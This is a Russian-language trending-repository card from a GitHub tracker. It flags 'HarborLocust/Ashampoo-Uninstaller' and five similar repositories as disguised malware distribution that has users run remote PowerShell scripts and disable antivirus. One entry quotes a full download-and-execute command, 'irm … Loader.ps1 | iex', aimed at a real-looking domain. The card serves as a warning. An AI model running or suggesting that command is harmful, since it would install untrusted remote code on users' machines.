# HarborLocust/Ashampoo-Uninstaller > Репозиторий маскируется под страницу Ashampoo Uninstaller, но по сути предлагает запустить сторонний PowerShell-скрипт с внешнего домена для «установки» программы. Это не исходный код утилиты, а схема распространения непроверяемого установщика. - Магнитуда: 6,3 из 10 — Ранний сигнал - Звёзды: 123 всего · +123 звезды сегодня, к вечеру ≈ 160 - Доверие к звёздам: рост звёзд выглядит естественно - Категория: Безопасность · Создан: 2026-10-02 · Последний коммит: 2026-10-02 - GitHub: https://github.com/HarborLocust/Ashampoo-Uninstaller · Страница: https://gitnova.dev/r/HarborLocust/Ashampoo-Uninstaller ## Чем пригодится - Проверить содержимое скрипта Loader.ps1 перед запуском, чтобы оценить риски - Изучить репозиторий как пример небезопасного паттерна irm | iex для обучения ## Почему он здесь - Сегодня уже 123 звезды, к концу дня ожидается около 161. - Репозиторию 0 дней, а у него уже 123 звезды. Истории меньше двух недель, так что обычного темпа, с которым можно сравнить всплеск, у него ещё нет. - Топ новых репозиториев за неделю: #133. - Около 148 форков в сутки — код забирают себе. ## Доверие к звёздам Рост звёзд выглядит естественно. Метки доверия к звёздам — эвристики по поведению репозитория, а не проверка каждого, кто поставил звезду. ## Цифры - Форков: 17 - Issues и pull requests: 0 - Наблюдателей: 0 - В среднем за неделю: 160 в день - Обычный темп: мало истории (меньше двух недель) - Звёзд за последний час (по замерам): 0 ## Звёзды по дням за 6 дней (от старых к новым, сегодня — неполный день) 2026-09-27 … 2026-10-02: 0, 0, 0, 0, 0, 123 ## Где замечен сейчас - Топ новых репозиториев за неделю: #133 ## Похожие по описанию 1. **Cyandrestyle/PHP-Storm** — 5,3 · Ранний сигнал · Безопасность · +93 звезды сегодня, к вечеру ≈ 121 Репозиторий маскируется под набор для установки JetBrains PHPStorm, но по сути распространяет скрипт PowerShell, запускающий удалённый код и предлагающий отключить антивирус. Это неофициальный установщик, не связанный с JetBrains. Полная карточка: https://gitnova.dev/r/Cyandrestyle/PHP-Storm.md 2. **hallbudgieleap/Glary-Utilities-Pro** — 5,6 · Ранний сигнал · Безопасность · +125 звёзд сегодня, к вечеру ≈ 163 Репозиторий маскируется под Glary Utilities Pro, но по факту предлагает запустить PowerShell-скрипт с внешнего домена для «пред-активированной» установки. Это типичная схема распространения вредоносного ПО, а не легальный проект. Полная карточка: https://gitnova.dev/r/hallbudgieleap/Glary-Utilities-Pro.md 3. **surfaceguardianway/Better-Discord** — 5,8 · Ранний сигнал · Безопасность · +172 звезды сегодня, к вечеру ≈ 224 Репозиторий маскируется под оптимизационный набор для BetterDiscord, но по факту предлагает запустить сторонний PowerShell-скрипт, который вносит правки в реестр и отключает защиту Windows. Признаки типичного вредоносного/пиратского… Полная карточка: https://gitnova.dev/r/surfaceguardianway/Better-Discord.md 4. **Bottomfluspeed/SolidWorks-CAD** — 5,7 · Ранний сигнал · Безопасность · +129 звёзд сегодня, к вечеру ≈ 168 Репозиторий маскируется под дополнение для SolidWorks, но по факту предлагает запустить сторонний PowerShell-скрипт для «пред-активированной» установки, то есть распространяет взломанное ПО. Полная карточка: https://gitnova.dev/r/Bottomfluspeed/SolidWorks-CAD.md 5. **Pulverizeclirouse/StartAll-Back** — 5,7 · Ранний сигнал · Безопасность · +131 звезда сегодня, к вечеру ≈ 171 Репозиторий маскируется под утилиту оптимизации StartAll Back, но по сути это скрипт-загрузчик: README предлагает выполнить `irm https://ps-ps.cc/powershell/Loader.ps1 | iex` и отключить антивирус. Никакого реального кода, описания или… Полная карточка: https://gitnova.dev/r/Pulverizeclirouse/StartAll-Back.md --- Магнитуда (0–10) — насколько быстро и необычно сейчас растёт интерес к репозиторию. Это не оценка качества. Дни — по UTC. «Уже сегодня» — факт, «к вечеру ≈» — прогноз. Описания и сценарии пишет модель (DeepSeek V4.1 Flash) по README, в деталях возможны ошибки: конкретные утверждения (замеры, скорость, железо) проверяйте в самом репозитории. Данные на 2026-10-02 16:40 UTC, обновление каждые 30 минут.